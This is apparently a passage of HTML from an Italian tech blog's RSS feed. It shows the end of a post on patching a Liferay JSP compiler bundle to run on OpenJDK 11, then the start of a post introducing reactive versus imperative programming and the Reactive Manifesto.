        &lt;source srcSet=&quot;/static/13a39a38cfd12a8f2495a5bad8c7e621/c85cb/portlet-in-esecuzione-dopo-applicazione-patch.webp 300w,/static/13a39a38cfd12a8f2495a5bad8c7e621/e88ff/portlet-in-esecuzione-dopo-applicazione-patch.webp 600w,/static/13a39a38cfd12a8f2495a5bad8c7e621/92f8c/portlet-in-esecuzione-dopo-applicazione-patch.webp 1200w,/static/13a39a38cfd12a8f2495a5bad8c7e621/62ed8/portlet-in-esecuzione-dopo-applicazione-patch.webp 1800w,/static/13a39a38cfd12a8f2495a5bad8c7e621/f3c66/portlet-in-esecuzione-dopo-applicazione-patch.webp 2352w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/13a39a38cfd12a8f2495a5bad8c7e621/f93b5/portlet-in-esecuzione-dopo-applicazione-patch.jpg 300w,/static/13a39a38cfd12a8f2495a5bad8c7e621/b4294/portlet-in-esecuzione-dopo-applicazione-patch.jpg 600w,/static/13a39a38cfd12a8f2495a5bad8c7e621/e5166/portlet-in-esecuzione-dopo-applicazione-patch.jpg 1200w,/static/13a39a38cfd12a8f2495a5bad8c7e621/d9c39/portlet-in-esecuzione-dopo-applicazione-patch.jpg 1800w,/static/13a39a38cfd12a8f2495a5bad8c7e621/1176d/portlet-in-esecuzione-dopo-applicazione-patch.jpg 2352w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/jpeg&quot;/&gt;
        &lt;img alt=&quot;Figura 3 - Portlet funzionante dopo l&amp;#x27;installazione del bundle con la patch&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/13a39a38cfd12a8f2495a5bad8c7e621/e5166/portlet-in-esecuzione-dopo-applicazione-patch.jpg&quot; title=&quot;Figura 3 - Portlet funzionante dopo l&amp;#x27;installazione del bundle con la patch&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 3 - Portlet funzionante dopo l&amp;#x27;installazione del bundle con la patch&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;In questi casi, quando andiamo a fare il patch di componenti Liferay, è
consigliabile metterlo in evidenza, per esempio con opportuna indicazione sul
Bundle Name.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;8&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;g! lb com.liferay.portal.osgi.web.servlet.jsp.compiler&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;START LEVEL 20&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;   ID|State      |Level|Name&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    1|Active     |    6|Liferay Portal OSGi Web Servlet JSP Compiler (SMC - PATCHED-1) (4.0.14)|4.0.14&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;g!&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 7 - Accesso alla Gogo Shell e verifica del nuovo bundle installato&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Benissimo! Adesso abbiamo il nostro Portale Liferay 7.2 GA2 che funziona
con OpenJDK 11.0.6&lt;/p&gt;&lt;h2 id=&quot;3-conclusioni&quot;&gt;3. Conclusioni&lt;/h2&gt;&lt;p&gt;In questo articolo abbiamo visto come sia semplice applicare una patch ad un
componente core di Liferay senza la necessità di attendere la prossima release.
Tutto questo è reso possibile per tre semplici motivi:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Liferay è Open Source;&lt;/li&gt;&lt;li&gt;Liferay dalla versione 7.0 ha adottato in toto &lt;a href=&quot;https://www.osgi.org/&quot;&gt;OSGi&lt;/a&gt;, ergo, il benvenuto alla modularità;&lt;/li&gt;&lt;li&gt;Liferay ha sviluppato in set di framework che ne facilitano l&amp;#x27;estensione, anche dei componenti core del portale.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Prima di buttare la spugna quanto incontrate un problema che potrebbe sembrare
insormontabile, vi consiglio sempre di consultare la documentazione
di &lt;a href=&quot;https://portal.liferay.dev/&quot;&gt;Liferay&lt;/a&gt; dove nella maggior parte dei potreste
trovare la soluzione al vostro problema.&lt;/p&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
  .default-dark {
    background-color: #1E1E1E;
    color: #D4D4D4;
  }
  .default-dark .mtk12 { color: #9CDCFE; }
  .default-dark .mtk1 { color: #D4D4D4; }
  .default-dark .mtk10 { color: #4EC9B0; }
  .default-dark .mtk4 { color: #569CD6; }
  .default-dark .mtk11 { color: #DCDCAA; }
  .default-dark .mtk7 { color: #B5CEA8; }
  .default-dark .mtk3 { color: #6A9955; }
  .default-dark .mtk8 { color: #CE9178; }
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[Reactive VS Imperative - Primo Episodio]]></title><link>https://techblog.smc.itreactive-vs-imperative</link><guid isPermaLink="false">https://techblog.smc.itreactive-vs-imperative</guid><pubDate>Sun, 19 Apr 2020 00:00:00 GMT</pubDate><content:encoded>&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;YoutubeVideo-module--content--1lxMp&quot;&gt;&lt;div class=&quot;YoutubeVideo-module--margin--D5-Qe&quot;&gt;&lt;iframe class=&quot;YoutubeVideo-module--video--2DWHr&quot; src=&quot;https://www.youtube.com/embed/bB8uLok0E_w&quot; frameBorder=&quot;0&quot; allow=&quot;accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;In questo primo episodio dell&amp;#x27;SMC Aperitech andremo ad approfondire le
peculiarità tra il nuovo paradigma di programmazione reattiva e quello
imperativo più tradizionale.&lt;/p&gt;&lt;p&gt;La maggior parte di voi conoscerà bene l&amp;#x27;approccio tradizionale, quindi
facciamo un&amp;#x27;approfondimento iniziale riguardante un po&amp;#x27; di teoria sulla
programmazione reattiva.&lt;/p&gt;&lt;h2 id=&quot;reactive-manifesto&quot;&gt;Reactive Manifesto&lt;/h2&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/ffa98c21a39413ae36ce71b358317c81/966c1/relazione-dei-principi-del-reactive-manifesto.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:34.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;137\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20137\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M105%202c-2%202-1%2016%201%2017%203%202%2066%201%2068%200s2-3%202-10V2l-35-1-36%201m182%201c-2%204-1%2014%201%2015%204%203%2067%203%2069%200%202-2%203-14%201-16l-36-1c-33%200-34%200-35%202M182%2021c-3%202-3%2020%200%2022%203%203%2097%203%2099%200%203-3%203-20%200-22-3-3-97-3-99%200m48%2029v27h-24c-30%200-28%200-28%201h52v13l1%2014V78h54c0-1%203-1-29-1h-25V48l-1%202M66%2066c-3%203-3%2020%200%2022%202%203%2096%203%2099%201%204-3%203-22%200-24a845%20845%200%2000-99%201m231%200c-3%203-3%2020%200%2022%203%203%2097%203%2099%200%202-1%202-3%202-11s0-10-2-11c-2-3-97-3-99%200m-115%2045c-3%202-3%2021%200%2023%203%203%2095%203%2099%200%202-1%202-2%202-11%200-15%205-13-51-14-42%200-48%200-50%202\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/ffa98c21a39413ae36ce71b358317c81/c85cb/relazione-dei-principi-del-reactive-manifesto.webp 300w,/static/ffa98c21a39413ae36ce71b358317c81/e88ff/relazione-dei-principi-del-reactive-manifesto.webp 600w,/static/ffa98c21a39413ae36ce71b358317c81/92f8c/relazione-dei-principi-del-reactive-manifesto.webp 1200w,/static/ffa98c21a39413ae36ce71b358317c81/94107/relazione-dei-principi-del-reactive-manifesto.webp 1694w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/ffa98c21a39413ae36ce71b358317c81/5a46d/relazione-dei-principi-del-reactive-manifesto.png 300w,/static/ffa98c21a39413ae36ce71b358317c81/0a47e/relazione-dei-principi-del-reactive-manifesto.png 600w,/static/ffa98c21a39413ae36ce71b358317c81/c1b63/relazione-dei-principi-del-reactive-manifesto.png 1200w,/static/ffa98c21a39413ae36ce71b358317c81/966c1/relazione-dei-principi-del-reactive-manifesto.png 1694w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 1 - Relazione dei principi del Reactive Manifesto&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/ffa98c21a39413ae36ce71b358317c81/c1b63/relazione-dei-principi-del-reactive-manifesto.png&quot; title=&quot;Figura 1 - Relazione dei principi del Reactive Manifesto&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 1 - Relazione dei principi del Reactive Manifesto&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Il cuore dei principi della programmazione reattiva sono raccolti all&amp;#x27;interno
del &lt;a href=&quot;https://www.reactivemanifesto.org/&quot;&gt;Reactive Manifesto&lt;/a&gt;.
Questo documento è stato redatto da un gruppo di sviluppatori esperti,
rappresentati da &lt;a href=&quot;http://jonasboner.com/&quot;&gt;Jonas Boner&lt;/a&gt;,
riunitosi nel 2013 per definire i punti principali di un&amp;#x27;architettura reattiva.
Ad oggi il manifesto è stato sottoscritto da quasi 30.000 persone.&lt;/p&gt;&lt;p&gt;Esso è composto da quattro punti cardine e le architetture reattive devono
quindi attenersi alle seguenti direttive:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;strong&gt;Responsivi&lt;/strong&gt;: risposte tempestive focalizzandosi nel minimizzare i
tempi di risposta, in quanto le richieste devono essere evase nel minor tempo possibile.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Resilienti&lt;/strong&gt;: il sistema deve rispondere anche in caso di guasti.
Il guasto sulle singole componenti dell&amp;#x27;architettura non deve compromettere
l&amp;#x27;intero sistema, di conseguenza deve essere sempre garantita una risposta
ed eventualmente un messaggio di default. In questi casi si può fare affidamento
anche a librerie come Netflix Hystrix o Resilience4J.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Elastici&lt;/strong&gt;: il sistema si adatta alla frequenza degli input, incrementando
o decrementando al bisogno le risorse.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Orientati ai messaggi&lt;/strong&gt;: la comunicazione tra gli elementi
dell&amp;#x27;architettura è basata sullo scambio asincrono di messaggi.
Tali messaggi sono scambiati sfruttando il meccanismo delle code e
quindi attraverso l&amp;#x27;uso di message broker: due tipici esempi sono
Apache Kafka o RabbitMQ.&lt;/li&gt;&lt;/ol&gt;&lt;h2 id=&quot;programmazione-reattiva&quot;&gt;Programmazione reattiva&lt;/h2&gt;&lt;p&gt;La programmazione reattiva è un paradigma di programmazione costruito s
ulla nozione del cambiamento dei valori nel tempo e la propagazione dei
cambiamenti. Il migliore esempio per spiegare questo concetto è il foglio di
calcolo elettronico, dove data una funzione di somma di due input al loro
cambiamento verrà calcolato immediatamente il risultato.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1024px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/2fd89f967f4d408bbdcd562bf124f9c2/2bef9/esempio-programmazione-reattiva.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:43.99999999999999%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;176\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20176\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M3%2021v15h309l2-4c4-6%204-6-2-6-9%200-9%200-9-11V5H3v16m25%2091v21h33l34-1-1-2-2%201-31%201H29v-18h65v8l1%208v-17l-34-1H28\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/2fd89f967f4d408bbdcd562bf124f9c2/c85cb/esempio-programmazione-reattiva.webp 300w,/static/2fd89f967f4d408bbdcd562bf124f9c2/e88ff/esempio-programmazione-reattiva.webp 600w,/static/2fd89f967f4d408bbdcd562bf124f9c2/a9a89/esempio-programmazione-reattiva.webp 1024w&quot; sizes=&quot;(max-width: 1024px) 100vw, 1024px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/2fd89f967f4d408bbdcd562bf124f9c2/5a46d/esempio-programmazione-reattiva.png 300w,/static/2fd89f967f4d408bbdcd562bf124f9c2/0a47e/esempio-programmazione-reattiva.png 600w,/static/2fd89f967f4d408bbdcd562bf124f9c2/2bef9/esempio-programmazione-reattiva.png 1024w&quot; sizes=&quot;(max-width: 1024px) 100vw, 1024px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 2 - Esempio di programmazione reattiva&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/2fd89f967f4d408bbdcd562bf124f9c2/2bef9/esempio-programmazione-reattiva.png&quot; title=&quot;Figura 2 - Esempio di programmazione reattiva&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 2 - Esempio di programmazione reattiva&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Nell&amp;#x27;esempio abbiamo un foglio di calcolo dove dati 2 input e una funzione
di somma sarà possibile notare come al cambiamento di uno dei due valori in
input verrà calcolata immediatamente la somma in modo reattivo.&lt;/p&gt;&lt;h3 id=&quot;flussi-o-stream&quot;&gt;Flussi o Stream&lt;/h3&gt;&lt;p&gt;Nella programmazione reattiva, la gestione dei flussi di dati asincroni viene
naturale (reactive stream), ogni cosa può essere un flusso, come ad esempio i
dati provenienti da una base dati, variabili, properties, strutture dati, input
degli utenti e anche code.&lt;/p&gt;&lt;p&gt;Su questi flussi è possibile applicare delle funzioni che li vanno a manipolare:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Creati&lt;/li&gt;&lt;li&gt;Filtrati&lt;/li&gt;&lt;li&gt;Trasformati&lt;/li&gt;&lt;li&gt;Combinati fra loro (denominata zip)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Tornando all&amp;#x27;esempio del foglio di calcolo, possiamo immaginare i due campi di
input un po&amp;#x27; come dei flussi che vengono combinati fra loro con l&amp;#x27;operazione di
somma, che &amp;quot;zippa&amp;quot; i due stream proprio come la zip di una cerniera lampo:&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:500px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/0f7884988ea1900378fb0defd2b166e7/0b533/due-stream-che-si-fondono-insieme.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:78.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;314\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20314\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M377%2014l-3%203%203%205c5%206%205%206%209%202%204-3%204-4%201-7-2%200-3-2-3-3-1-3-4-3-7%200M33%2037c-4%206-4%209-1%205%202-3%203-3%205-1%202%201%202%202%201%204v3l2-3%203-4%201-2c0-3-2-5-7-7l-4%205m294%2012l-3%202%204%206c4%205%208%208%204%202v-4c3-1%204-1%206%201l3%201-2-3-3-5c-1-2-5-2-9%200M198%20186c-5%202-5%203-3%209v13c-2%2012-1%2017%204%2017%202%200%201%202-1%203-3%201-2%203%201%203%202%200%202%200%201%201v1l-2%201-2%202%202%201c3%201%203%202%200%203-2%201-2%203%200%203l2%202-2%201c-2%200-2%202%200%203s2%202%200%203c-3%201-2%203%201%203%202%200%202%200%201%201v1l-2%201-2%202%202%201c3%201%203%202%200%203-2%201-2%203%200%203l2%202-2%201c-2%200-2%202%200%203%203%201%203%202%200%203s-2%203%201%203c1%200%202%200%201%201v1l-2%201c-2%201-3%204-3%2010v4h13v-6c0-6-1-6-3-7s-2-1%200-1l2-1-2-3-2-1%202-1%202-1-2-3-2-1%202-1c3%200%203-1-1-4l-2-2h2c4%200%204-1%200-4l-2-2h2c4%200%204-1%201-4l-2-1%202-1%202-1-2-3-2-1%202-1%202-1-2-3-2-1%202-1%202-1-2-3-2-1%202-1%202-1-2-3-2-1%202-1c2%200%202-1%201-2l1-2c3%200%203-4%201-15v-12c2-1%202-7%201-9-2-2-7-3-11-2\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/0f7884988ea1900378fb0defd2b166e7/c85cb/due-stream-che-si-fondono-insieme.webp 300w,/static/0f7884988ea1900378fb0defd2b166e7/b0a15/due-stream-che-si-fondono-insieme.webp 500w&quot; sizes=&quot;(max-width: 500px) 100vw, 500px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/0f7884988ea1900378fb0defd2b166e7/5a46d/due-stream-che-si-fondono-insieme.png 300w,/static/0f7884988ea1900378fb0defd2b166e7/0b533/due-stream-che-si-fondono-insieme.png 500w&quot; sizes=&quot;(max-width: 500px) 100vw, 500px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 3 - Due stream che si fondono insieme&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/0f7884988ea1900378fb0defd2b166e7/0b533/due-stream-che-si-fondono-insieme.png&quot; title=&quot;Figura 3 - Due stream che si fondono insieme&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 3 - Due stream che si fondono insieme&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Solo recentemente anche Java ha introdotto questi concetti, con la
versione &lt;a href=&quot;https://openjdk.java.net/jeps/266&quot;&gt;9 JEP 266&lt;/a&gt; in
particolare, abbiamo a disposizione l&amp;#x27;interfaccia &lt;code&gt;java.util.concurrent.Flow&lt;/code&gt;
e in seguito alla standardizzazione di &lt;code&gt;org.reactivestream&lt;/code&gt; sono state inserite
le API basate su quattro componenti:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Publisher&lt;/li&gt;&lt;li&gt;Subscriber&lt;/li&gt;&lt;li&gt;Subscription&lt;/li&gt;&lt;li&gt;Processor&lt;/li&gt;&lt;/ul&gt;&lt;h3 id=&quot;vantaggi&quot;&gt;Vantaggi&lt;/h3&gt;&lt;p&gt;I vantaggi della programmazione reattiva:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Cerca di &lt;strong&gt;ottimizzare l’utilizzo di risorse&lt;/strong&gt; riducendo per esempio il numero
di thread generati e utilizzati contemporaneamente&lt;/li&gt;&lt;li&gt;Gestione della &lt;strong&gt;back-pressure&lt;/strong&gt; in maniera semplice&lt;/li&gt;&lt;li&gt;Facile da leggere per chi lo utilizza e per programmatori che arrivano dalla
Functional Programming sono presenti molti pattern da poter riusare&lt;/li&gt;&lt;li&gt;Rende molto più semplice il lavoro in &lt;strong&gt;parallelo&lt;/strong&gt; e la &lt;strong&gt;concorrenza&lt;/strong&gt;,
come abbiamo visto in precedenza è una caratterustica più naturale&lt;/li&gt;&lt;li&gt;È offerta la &lt;strong&gt;stessa API&lt;/strong&gt; (Publisher, Subscriber, Subscription e Processor)
per l’accesso al database, accesso in rete, coda di messaggi e molto altro&lt;/li&gt;&lt;/ul&gt;&lt;h3 id=&quot;svantaggi&quot;&gt;Svantaggi&lt;/h3&gt;&lt;p&gt;Chiaramente esistono anche degli svantaggi:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Curva di apprendimento ripida, è richiesto parecchio tempo per familiarizzare
con le notazioni della programmazione funzionale&lt;/li&gt;&lt;li&gt;Difficile da leggere per chi ha un background imperativo. Può risultare ostico
per colore che sono abituati a scrivere codice tradizionale&lt;/li&gt;&lt;li&gt;Non è semplice eseguire operazioni di debug per capire quale parte di codice
non sta funzionando a dovere&lt;/li&gt;&lt;li&gt;Gestione e monitoraggio costante dei vari elementi dell&amp;#x27;architettura&lt;/li&gt;&lt;/ul&gt;&lt;h3 id=&quot;applicabilità&quot;&gt;Applicabilità&lt;/h3&gt;&lt;p&gt;La programmazione reattiva è &lt;strong&gt;consigliata&lt;/strong&gt; quando tutte le fonti di dati sono
non bloccanti e eseguibili in parallelo. Alcuni esempi possono essere socket
(java.nio), driver database sql (&lt;strong&gt;r2dbc&lt;/strong&gt;) e nosql (reactive mongodb
cassandra...), richieste HTTP con SSE e WebSocket (webflux, vertx web..),
message broker (kafka stream, reactor-rabbitmq...) e molte altre.&lt;/p&gt;&lt;p&gt;Nel caso contrario è possibile comunque &amp;quot;wrappare&amp;quot; una API bloccante all’interno
di un flusso reattivo circoscrivendo i threads bloccati in un thread-pool così
da evitare che l’applicazione si blocchi per colpa di quest’ultima.&lt;/p&gt;&lt;p&gt;È &lt;strong&gt;sconsigliato&lt;/strong&gt; utilizzare la programmazione reattiva quando si ha a che fare
con la maggior parte delle fonti di dati bloccanti, e wrapparle tutte non è una
buona idea, sarebbe controproducente.&lt;/p&gt;&lt;p&gt;Inoltre bisogna escludere applicazioni di tipo “imperativo”, ovvero una sequenza
ben definita di procedure, in cui l&amp;#x27;elemento attualmente attivo ha bisogno
dell&amp;#x27;output dell&amp;#x27;elemento precedente per poter iniziare il suo lavoro.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/81ea7e6dacb4072dd136fa4ce332d634/3fa9f/esempio-processo-imperativo.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:17.666666666666668%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;70\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2070\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M165%202c-1%203%201%204%207%204%205%200%206%201%206%203%201%209%203%2012%205%2011%202%200%205-8%205-11%200-2%200-3%203-3h4v4l3%2010c1%202%205-1%205-3l1-2%201-4c0-5%200-5%204-5%203%200%203%200%203%205l1%204%201%202c0%202%203%204%205%203l1-2%201-3%201-4%201-4%206-1c5%200%206-1%206-3V1l-23-1-23%201h-2c0-2-21-1-22%201M3%205c-3%202%201%208%204%208%202%200%202%201%202%207%200%207%200%207%202%208%203%201%204%203%205%2017v10h-5c-8%200-11%205-7%2010l2%203h29c28%200%2029%200%2031-2s3-6%201-9c-2-1-2-5-2-17l1-10c0%208%202%208%202-1l-1-7-2-2c-2-5-5-6-23-6-11%200-15%200-13-1%204-1%205-3%205-6V5L18%204%203%205m9%208v6h11v-6l1-6H12v6m322-4v5l-2%208c-2%206-3%2020-1%2020l1-6v-7h14v5c0%208%208%2019%2015%2021%205%202%201%203-13%203h-16v-7l-1-7-1%208v8h16c14%200%2017%200%2018%202l8%201c8%200%2010-1%2010-4%200-2%201-3%203-4%204-3%202-4-2-2-14%208-32-2-35-18l-1-3h51l-1%203-5%2012-3%204c2%201%208-7%209-12%203-8%203-9-1-9s-5-1-2-4l2-3c-1-4-4-3-8%200l-3%203-2-2-4-5c-2-2-3-3-6-3s-3%200-3-2c1-6%200-7-2-7l-3%201c-1%201%200%201%201%201l2%201-16%201-17-1%2014-1%2013-1-14-1c-15%200-15%200-15%202m-58%209c-4%201-7%204-8%207l-2%202c-2%200-3%204-2%206l2%202%203%204%205%205c3%201%203%201%201%203l-1%205c0%202%200%202%209%202%207%200%208%200%208-2l-2-2v-3c-1-1%200-2%202-3s4-3%204-5l4-4c3-1%202-5-1-8-2-2-2-3-2-5%201-4%200-6-3-4l-4-1c-3-1-10-1-13%201M26%2021c1%205-1%208-6%208-3%200-3%200-3%203%200%202%200%202%206%202s9%202%2012%206l1%203h10c10%200%2010-1%2012%208%202%207%204%205%204-4v-8h-5c-11-2-20-10-22-19%200-3%200-3-5-3h-4v4m91-3l-2%203-2%204c-1%203%200%206%204%2012%203%202%202%203-2%204-3%201-4%202-4%206s-1%205-3%205c-3%200-3-6%200-8%202-1%202-2%202-7%200-8-2-8-2%200l-1%207v-7c0-8-2-8-2%200s-2%207-2-1l-1-5v6c0%208-2%208-2%200l-1-6-1%206c0%205%200%206%202%207%202%200%202%201%202%205l-1%204h36v-4c0-5-2-8-6-8-3%200-3-2-1-4%204-5%206-10%204-12l-2-4c0-2-1-3-2-3h-13m217%204l-1%204h10c8%200%2010%200%2012-3%203-2%204-2%207-1%203%200%206-1%206-3h-32l-2%203m-155%205l-1%206-2%208c0%206%200%206-4%207-8%204-9